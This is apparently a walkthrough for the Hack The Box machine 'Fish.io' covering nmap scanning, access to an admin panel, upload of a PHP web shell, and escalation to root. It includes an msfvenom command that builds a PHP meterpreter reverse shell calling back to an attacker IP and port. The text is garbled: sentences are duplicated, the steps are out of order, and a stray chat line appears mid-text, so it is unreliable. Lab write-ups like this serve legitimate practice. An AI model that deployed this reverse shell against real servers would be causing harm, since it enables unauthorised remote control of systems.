We create a PHP reverse shell using a tool like msfvenom :
You're interested in writing about Hack The Box's Fish.io, I presume?
sudo -u fish /bin/bash Switching to the fish user, we find that the user's home directory contains a config file with sensitive information: hack fish.io
su root
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f raw > shell.php Uploading the shell to the server via the "Upload File" feature, we can then trigger the execution of the shell by accessing the uploaded file: We create a PHP reverse shell using a
Hack The Box is a popular online platform that offers a variety of virtual machines (VMs) for cybersecurity enthusiasts to practice their hacking skills. One of the boxes available on the platform is Fish.io, a Linux-based VM that simulates a real-world hacking scenario. In this walkthrough, we'll explore the steps to compromise the Fish.io box and gain root access.
To begin, we need to gather information about the target machine. Using the nmap command, we can perform an initial scan to identify open ports and services: In this walkthrough, we'll explore the steps to
nmap -sV -p- 10.10.10.15 The scan reveals that ports 22 (SSH), 80 (HTTP), and 8080 (HTTP) are open. We can now focus on exploring these services further.
<!-- TODO: move to prod env --> This hint suggests that the website might be running in a non-production environment. We can try to access the /admin directory, which often contains administrative interfaces:
With administrative access, we can now explore the application's functionality. Upon reviewing the dashboard, we notice a " Upload File" feature. This feature can potentially be used to execute arbitrary code on the server.
After exploring the file system, we discover that the sudo command has been configured to allow the fish user to run any command without a password: